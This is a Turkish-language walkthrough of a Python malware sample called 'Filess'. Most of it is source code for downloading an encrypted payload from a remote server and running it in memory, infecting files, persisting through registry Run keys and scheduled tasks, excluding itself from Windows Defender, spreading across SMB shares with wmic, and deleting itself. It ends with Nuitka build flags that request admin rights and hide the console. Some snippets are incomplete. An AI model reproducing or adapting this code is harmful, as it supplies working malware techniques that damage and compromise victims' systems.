1. Filess Nedir ve Ne İşe Yarar?
Filess, Python ile yazılmış bir zararlı yazılımdır. Amacı:- Uzaktan payload indirip çalıştırmak
- Dosyalara bulaşmak (file infector)
- Sistemde kalıcılık sağlamak (Registry, Görev Zamanlayıcı)
- Ağ üzerinden yayılmak (NetBIOS, SMB)
- Kendini gizlemek (Hidden + System dosya nitelikleri)
2. Peki Bu Kod Hangi Dille Yazıldı?
Python tercih edilmiş. Neden mi?- Hızlı geliştirme: Python'da 200 satırda yapılan iş, C++'da 2000 satır olabilir.
- Geniş kütüphane desteği: ctypes ile Windows API'lerine erişim, urllib ile HTTP istekleri, winreg ile Registry işlemleri.
- Kolay obfuscation: Python kodu kolayca karıştırılabilir (base64, zlib, XOR).
3. Filess - Detaylı Analiz
3.1. Sınıf Yapısı ve Başlangıç
pythonclass Filess:
def __init__(self):
self.payload_url = "https://your-server.com/payload.dat"
self.encrypted_payload = b""
self.decrypted_payload = b""
self.execution_path = os.path.abspath(sys.argv[0])
self.temp_dir = tempfile.gettempdir()
self.hidden_path = os.path.join(self.temp_dir, "svchost.exe")
self.infection_marker = b"RYUK_FILESS_WAS_HERE"
self.target_extensions = ['.exe', '.dll', '.doc', '.docx', ...]
- payload_url: Uzaktan payload'ın indirileceği adres.
- execution_path: Çalıştırılan dosyanın yolu.
- hidden_path: C:\Users\Kullanıcı\AppData\Local\Temp\svchost.exe - Meşru bir Windows süreci gibi görünür.
- infection_marker: Enfekte edilen dosyalara bırakılan imza.
- target_extensions: Hangi dosya türlerine bulaşılacağı.
3.2. Payload İndirme (Fetch Payload)
pythondef fetch_payload(self):
try:
response = urllib.request.urlopen(self.payload_url, timeout=15)
self.encrypted_payload = response.read()
return True
except:
self.encrypted_payload = base64.b64decode(self.get_embedded_payload())
return True if self.encrypted_payload else False
- Önce your-server.com/payload.dat adresinden şifreli payload indirilir.
- Eğer indirme başarısız olursa, gömülü (embedded) payload kullanılır.
- Gömülü payload, base64 ile kodlanmış ve koda gömülmüş bir payload'dır.
3.3. Payload Şifre Çözme (Decrypt Payload)
pythondef decrypt_payload(self):
try:
key = hashlib.sha256(b"RyukLovesApples_2024_Filess_Secret").digest()
iv = self.encrypted_payload[:16]
ciphertext = self.encrypted_payload[16:]
# XOR ile basit şifre çözme
decrypted = bytes([block[j] ^ key[j % len(key)] for j in range(len(block))])
self.decrypted_payload = zlib.decompress(bytes(decrypted))
return True
except:
self.decrypted_payload = zlib.decompress(base64.b64decode(self.encrypted_payload))
return True
Şifreleme yöntemi:
- SHA256 ile bir anahtar oluşturulur.
- Payload'ın ilk 16 baytı IV (Initialization Vector) olarak kullanılır.
- Geri kalan veri, XOR ile şifrelenmiştir.
- Çözüldükten sonra zlib ile sıkıştırılmış veri açılır.
3.4. Bellekte Çalıştırma (Execute in Memory)
pythondef allocate_memory(self, size):
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40
addr = kernel32.VirtualAlloc(None, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
return addr
def execute_in_memory(self):
addr = self.allocate_memory(len(self.decrypted_payload))
ctypes.memmove(addr, self.decrypted_payload, len(self.decrypted_payload))
kernel32.CreateThread(None, 0, addr, None, 0, ctypes.byref(thread_id))
Çalışma prensibi:
- VirtualAlloc ile çalıştırılabilir bellek (PAGE_EXECUTE_READWRITE) ayrılır.
- Çözülmüş payload bu belleğe kopyalanır.
- CreateThread ile bu bellek adresinde bir thread başlatılır.
3.5. Dosya Enfeksiyonu (File Infection)
pythondef infect_file(self, filepath):
with open(filepath, 'rb') as f:
original = f.read()
infected = original + b"\n\n" + self.infection_marker + b"\n" + self.decrypted_payload[:1024]
with open(filepath, 'wb') as f:
f.write(infected)
Nasıl bulaşır?
- Hedef dosyanın sonuna RYUK_FILESS_WAS_HERE imzası eklenir.
- Ardından payload'ın ilk 1024 baytı eklenir.
- Dosya tekrar yazılır.
3.6. Kalıcılık Sağlama (Persistence)
pythondef persist_registry(self):
import winreg
key = winreg.HKEY_CURRENT_USER
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(handle, "FilessHelper", 0, winreg.REG_SZ, self.hidden_path)
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
python
def persist_schtasks(self):
subprocess.run([
"schtasks", "/create", "/tn", "FilessUpdate",
"/tr", self.hidden_path, "/sc", "onlogon", "/f"
])
- Görev Zamanlayıcı'ya FilessUpdate adında bir görev ekler.
- Her oturum açılışında çalışır.
3.7. Windows Defender'dan Saklanma
pythondef hide_from_defender(self):
import winreg
key = winreg.HKEY_LOCAL_MACHINE
subkey = r"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY)
winreg.SetValueEx(handle, "FilessExclusion", 0, winreg.REG_SZ, os.path.dirname(self.hidden_path))
Windows Defender'a kendi klasörünü tarama dışı (exclusion) olarak ekler. Bu sayede tespit edilmez.
3.8. Ağ Üzerinden Yayılma (Network Propagation)
pythondef network_propagate(self):
result = subprocess.run(["net", "view"], capture_output=True)
targets = []
for line in lines:
if "\\\\" in line:
targets.append(part.strip())
for target in targets:
dest = target + "\\C$\\Windows\\Temp\\filess.exe"
shutil.copy2(self.execution_path, dest)
subprocess.run(["wmic", "/node:" + target, "process", "call", "create", dest])
- net view ile ağdaki diğer bilgisayarları listeler.
- Her hedefe filess.exe kopyalar.
- wmic ile uzaktan çalıştırır.
3.9. Kendini İmha Etme (Self-Destruct)
pythondef self_destruct(self):
batch = f"""
@echo off
timeout /t 2 /nobreak > nul
del "{self.execution_path}" /f /q
del "%~f0" /f /q
"""
subprocess.Popen(batch_path, creationflags=subprocess.CREATE_NO_WINDOW, shell=True)
- Kendini silmek için bir batch dosyası oluşturur.
- Batch dosyası çalıştığında, ana exe'yi ve kendisini siler.
3.10. Arka Plan Thread'leri
pythondef start_background_threads(self):
def worker():
while True:
time.sleep(60)
self.scan_and_infect_files()
self.network_propagate()
thread = threading.Thread(target=worker)
thread.daemon = True
thread.start()
- Her 60 saniyede bir dosya taraması ve ağ yayılması yapan bir arka plan thread'i başlatır.
4. Nuitka ile Derleme
python#nuitka --standalone --onefile --windows-disable-console --windows-uac-admin --output-dir=dist filess.py
Nuitka ile Python kodu C'ye dönüştürülür ve derlenir.
- --standalone: Bağımlılıklar dahil.
- --onefile: Tek bir .exe dosyası oluşturur.
- --windows-disable-console: Konsol penceresi gösterilmez.
- --windows-uac-admin: Yönetici yetkisi ister.